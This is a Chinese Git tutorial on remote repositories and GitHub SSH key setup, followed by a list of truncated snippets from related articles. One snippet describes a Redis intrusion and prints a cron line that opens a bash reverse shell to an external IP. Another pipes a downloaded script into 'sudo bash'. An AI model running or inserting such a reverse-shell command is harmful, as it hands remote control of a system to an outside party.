到目前为止,我们已经掌握了如何在Git仓库里对一个文件进行时光穿梭,你再也不用担心文件备份或者丢失的问题了。
可是有用过集中式版本控制系统SVN的童鞋会站出来说,这些功能在SVN里早就有了,没看出Git有什么特别的地方。
没错,如果只是在一个仓库里管理文件历史,Git和SVN真没啥区别。为了保证你现在所学的Git物超所值,将来绝对不会后悔,同时为了打击已经不幸学了SVN的童鞋,本章开始介绍Git的杀手级功能之一(注意是之一,也就是后面还有之二,之三……):远程仓库。
Git是分布式版本控制系统,同一个Git仓库,可以分布到不同的机器上。怎么分布呢?最早,肯定只有一台机器有一个原始版本库,此后,别的机器可以“克隆”这个原始版本库,而且每台机器的版本库其实都是一样的,并没有主次之分。
你肯定会想,至少需要两台机器才能玩远程库不是?但是我只有一台电脑,怎么玩?
其实一台电脑上也是可以克隆多个版本库的,只要不在同一个目录下。不过,现实生活中是不会有人这么傻的在一台电脑上搞几个远程库玩,因为一台电脑上搞几个远程库完全没有意义,而且硬盘挂了会导致所有库都挂掉,所以我也不告诉你在一台电脑上怎么克隆多个仓库。
实际情况往往是这样,找一台电脑充当服务器的角色,每天24小时开机,其他每个人都从这个“服务器”仓库克隆一份到自己的电脑上,并且各自把各自的提交推送到服务器仓库里,也从服务器仓库中拉取别人的提交。
完全可以自己搭建一台运行Git的服务器,不过现阶段,为了学Git先搭个服务器绝对是小题大作。好在这个世界上有个叫GitHub的神奇的网站,从名字就可以看出,这个网站就是提供Git仓库托管服务的,所以,只要注册一个GitHub账号,就可以免费获得Git远程仓库。
在继续阅读后续内容前,请自行注册GitHub账号。由于你的本地Git仓库和GitHub仓库之间的传输是通过SSH加密的,所以,需要一点设置:
第1步:创建SSH Key。在用户主目录下,看看有没有.ssh目录,如果有,再看看这个目录下有没有id_rsa
和id_rsa.pub
这两个文件,如果已经有了,可直接跳到下一步。如果没有,打开Shell(Windows下打开Git Bash),创建SSH Key:
$ ssh-keygen -t rsa -C "youremail@example.com"
你需要把邮件地址换成你自己的邮件地址,然后一路回车,使用默认值即可,由于这个Key也不是用于军事目的,所以也无需设置密码。
如果一切顺利的话,可以在用户主目录里找到.ssh
目录,里面有id_rsa
和id_rsa.pub
两个文件,这两个就是SSH Key的秘钥对,id_rsa
是私钥,不能泄露出去,id_rsa.pub
是公钥,可以放心地告诉任何人。
第2步:登陆GitHub,打开“Account settings”,“SSH Keys”页面:
然后,点“Add SSH Key”,填上任意Title,在Key文本框里粘贴id_rsa.pub
文件的内容:
点“Add Key”,你就应该看到已经添加的Key:
为什么GitHub需要SSH Key呢?因为GitHub需要识别出你推送的提交确实是你推送的,而不是别人冒充的,而Git支持SSH协议,所以,GitHub只要知道了你的公钥,就可以确认只有你自己才能推送。
当然,GitHub允许你添加多个Key。假定你有若干电脑,你一会儿在公司提交,一会儿在家里提交,只要把每台电脑的Key都添加到GitHub,就可以在每台电脑上往GitHub推送了。
最后友情提示,在GitHub上免费托管的Git仓库,任何人都可以看到喔(但只有你自己才能改)。所以,不要把敏感信息放进去。
如果你不想让别人看到Git库,有两个办法,一个是交点保护费,让GitHub把公开的仓库变成私有的,这样别人就看不见了(不可读更不可写)。另一个办法是自己动手,搭一个Git服务器,因为是你自己的Git服务器,所以别人也是看不见的。这个方法我们后面会讲到的,相当简单,公司内部开发必备。
确保你拥有一个GitHub账号后,我们就即将开始远程仓库的学习。
相关推荐
- 对于Windows系统,则可以使用Cygwin或者安装Git Bash等工具来支持SSH服务。 2. **配置SSH服务端:** - 编辑 `/etc/ssh/sshd_config` 文件(对于Debian/Ubuntu系统)或 `/etc/ssh/sshd_config`(对于Red Hat/...
sudo ssh-keygen -t rsa -f ~/.ssh/id_rsa.carol -C "key for client" ``` 3. **设置权限:** 设置.ssh目录及其内容的权限: ```bash sudo mkdir ~/.ssh/ sudo chmod 700 ~/.ssh/ sudo chmod 600 ~/.ssh/...
SSH服务器的主要配置文件位于 `/etc/ssh/sshd_config`,在此文件中,你可以自定义SSH的服务端口(默认为22),以及其他安全和性能相关的设置。例如,如果你想更改端口,只需将`Port 22`改为所需的端口号,如`Port ...
echo "your_public_key" >> ~/.ssh/authorized_keys chmod 600 ~/.ssh/authorized_keys ``` - **配置PuTTY进行公钥认证**:如果你使用的是Windows系统,并且使用PuTTY作为SSH客户端,那么还需要做一些额外的步骤...
配置SSH主要涉及修改`/etc/ssh/sshd_config`文件。例如,你可以设置允许或禁止root用户登录,修改默认端口等。完成配置后,重启SSH服务使更改生效: ```bash sudo systemctl restart sshd ``` 接下来是SSH客户端的...
sudo apt-get install ssh # 对于CentOS/RHEL系统 sudo yum install openssh-clients ``` 接下来,在机器A上执行以下命令生成SSH密钥对: ```bash ssh-keygen -t rsa ``` 这将创建一个名为`id_rsa`的私钥文件和...
接下来,可对`ssh-server`的配置文件`/etc/ssh/sshd_config`进行编辑,例如修改默认的SSH服务端口。默认端口为22,可根据需求自定义其他端口号,如222。 修改完配置文件后,务必重启SSH服务以使设置生效。重启命令...
2. **配置**: manssh的配置文件默认位于`~/.manssh/config.yaml`,用户可以在此文件中定义SSH连接别名。例如: ```yaml hosts: server1: host: 192.168.1.1 user: root server2: host: example.com user: ...
- **macOS/Linux用户**:通常情况下,可以通过包管理器直接安装Git,如使用`brew install git`(macOS)或`sudo apt-get install git`(Ubuntu)等命令。 #### 二、配置Git 配置Git的基本信息包括设置用户名和...
- 将生成的公钥拷贝到GitHub或其他代码托管平台的SSH Key管理页面。 **3. 设置Git全局用户名和邮箱** - 每次提交都将使用这些信息。 ```bash git config --global user.name "gitadmin" git config --global ...
复制输出内容,登录GitHub,进入“Settings” > “SSH and GPG keys” > “New SSH key”,粘贴并保存。 接下来,你需要获取你的GitHub用户名,因为克隆仓库时会用到: ```bash git config --global user.name ...
cfssl gencert -ca=ca.pem -ca-key=ca-key.pem -config=ca-config.json -profile=k8s etcd-healthcheck-client-csr.json | cfssljson -out etcd-healthcheck-client.crt ``` #### 4. 创建 kubernetes 证书: 生成...
最后,使用 `kubectl cluster-info` 和 `kubectl get nodes` 命令检查集群的状态和节点列表。 以上步骤完成了 Kubernetes 1.13.3 的安装和部署过程。需要注意的是,随着技术的发展,具体的命令和配置可能会有所...
- **Windows**:通过Git Bash执行命令 `ssh-keygen -t rsa -C "your.email@example.com"`。 - **Linux**:直接运行 `ssh-keygen -t rsa -C "your.email@example.com"` 生成密钥对。 - **连接远程仓库** - **添加...
每次启动Bash进程时都需要重新启动SSH服务: ```bash sudo service ssh start ``` ##### 3.2 创建.NET Core项目 使用Visual Studio 2017创建一个新的.NET Core控制台应用程序,并进行编译。 ##### 3.3 附加调试 在...
- 通过树莓派配置工具开启SSH服务:`sudo raspi-config` -> `Interfacing Options` -> `SSH` -> `Enable SSH` - 通过Windows远程登录树莓派,推荐使用vim编辑器而非gedit。 5. **用户权限管理:** - 切换至超级...
接下来,攻击者设置 key(0) 为 bash 反弹 shell 的脚本,每分钟执行一次,在自己服务器上监听 7890 端口: `set 0 "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/103.21.140.84/7890 0>&1\n\n"` 攻击者还需要设置...
openssl req -newkey rsa:2048 -x509 -nodes -days 365 -keyout /etc/ssl/private/slapd.key -out /etc/ssl/certs/slapd.crt ``` 然后编辑`/etc/ldap/slapd.conf`(或`/etc/slapd.d/`下的配置文件),启用TLS,并...
- 执行命令`curl -s get.pi4j.com | sudo bash`进行安装。 - 安装完成后,可以在`/opt/pi4j/lib`目录找到相关的库文件,在`/opt/pi4j/examples`目录找到官方示例代码。 - 可以通过命令`./build`编译源码,或者...